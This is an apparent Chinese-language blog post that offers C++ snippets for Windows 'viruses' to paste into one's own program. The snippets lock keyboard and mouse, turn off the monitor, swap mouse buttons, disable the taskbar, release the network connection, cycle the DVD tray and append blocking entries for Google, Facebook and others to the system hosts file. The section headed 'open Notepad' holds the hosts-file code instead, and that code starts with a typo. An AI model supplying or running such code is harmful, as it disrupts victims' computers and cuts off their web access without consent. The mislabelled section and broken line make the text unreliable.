【C++】常見病毒程式碼

by - 凌晨12:56

相信有些人跟我一樣喜歡寫程式吧,但是有時你突然發現學C++好像沒啥用ㄟ,都只能跑一些範例程式,好無聊喔,所以我今天就把勁爆的病毒程式碼貼上來供大家參考參考。
關於C++編輯環境的安裝請參考這篇文章:【C++入門手冊】安裝Dev C++
安裝完後就可以開始撰寫病毒了,我在這邊提供一些關鍵的程式碼片段,在你的病毒中貼上即可。
由於每個涵式都有其標頭檔(或稱引入檔),我就不加拉,有問題的話把涵式名貼上網查一下就知。比較常用的有:

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
等等,你可以全部複製貼上在你程式的開頭位置

好啦,我把範例貼上來(這些程式碼都只適用Windows系統喔)
注意喔,有些地方你可以自己變更參數,像文字、網址之類的。如果程式碼是黑底的,就代表有參數可以改,可以注意一下喔!!

鎖死鍵盤和滑鼠

BlockInput(true);

Sleep(600000);


更改目前視窗標題

HWND Window;
Window = GetForegroundWindow();
SetWindowText(Window, L"Your text here");

Sleep(10000);


關閉顯示器


SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);

Sleep(2000);


交換滑鼠主要即次要鍵(左右鍵相反的意思)


SwapMouseButton(true);


滑鼠亂點


int i,x,y;
for(i= 0; i < 201; i++) {
    x = rand()%1001;
    y = rand()%801;
    SetCursorPos(x,y);
    Sleep(20);

}


開啟網頁

ShellExecute(NULL,L"open",L"https://alwaysfreesir.blogspot.tw/",NULL,NULL,SW_MAXIMIZE);


禁用工作列

HWND hWin;
hWin = FindWindow(L"Shell_TrayWnd",NULL);
EnableWindow(hWin,false);

ShowWindow(hWin,false);


隱藏式視窗

HWND hWin;
hWin = GetForegroundWindow();

ShowWindow(hWin,false);


撥放音樂

PlaySound(TEXT(音效檔路徑), NULL, SND_FILENAME);


停用網路

system("ipconfig /release");


開啟又關閉DVD槽

mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);
mciSendString(L"set CDAudio door closed", NULL, 0, NULL);
Sleep(5000);
mciSendString(L"set CDAudio door open", NULL, 0, NULL);
Sleep(2000);

mciSendString(L"set CDAudio door closed", NULL, 0, NULL);


瘋狂開啟記事本

ILE *fp;
int i;
char hosts_file_path[FILENAME_MAX];
char ip[] = "0.0.0.0";

/* 設定要禁用的網址 */
char *blist[] = {
  "www.orkut.com",
  "orkut.com",
  "www.google.com",
  "google.com",
  "www.google.co.in",
  "google.co.in",
  "www.gmail.com",
  "gmail.com",
  "www.facebook.com",
  "facebook.com",
  "www.yahoo.com",
  "yahoo.com",
  "www.twitter.com",
  "twitter.com",
  "#"
};

strcpy (hosts_file_path, getenv ("SystemRoot"));
strcat (hosts_file_path, "\\system32\\drivers\\etc\\hosts");

if ((fp = fopen (hosts_file_path, "a")) == NULL)
  return 0;

fputs ("\n", fp);
for (i = 0; blist[i][0] != '#'; i++)
  {
    fputs (ip, fp);
    fputs ("        ", fp);
    fputs (blist[i], fp);
    fputs ("\n", fp);
  }

fclose (fp);

system("echo ' '");
好啊,今天的分享就到這邊,如果你有更好的病毒片段,歡迎在下面留言喔!!!

你可能會喜歡

2 意見

  1. 我想詢問一下,如果我今天用了這串我該怎麼解

    回覆刪除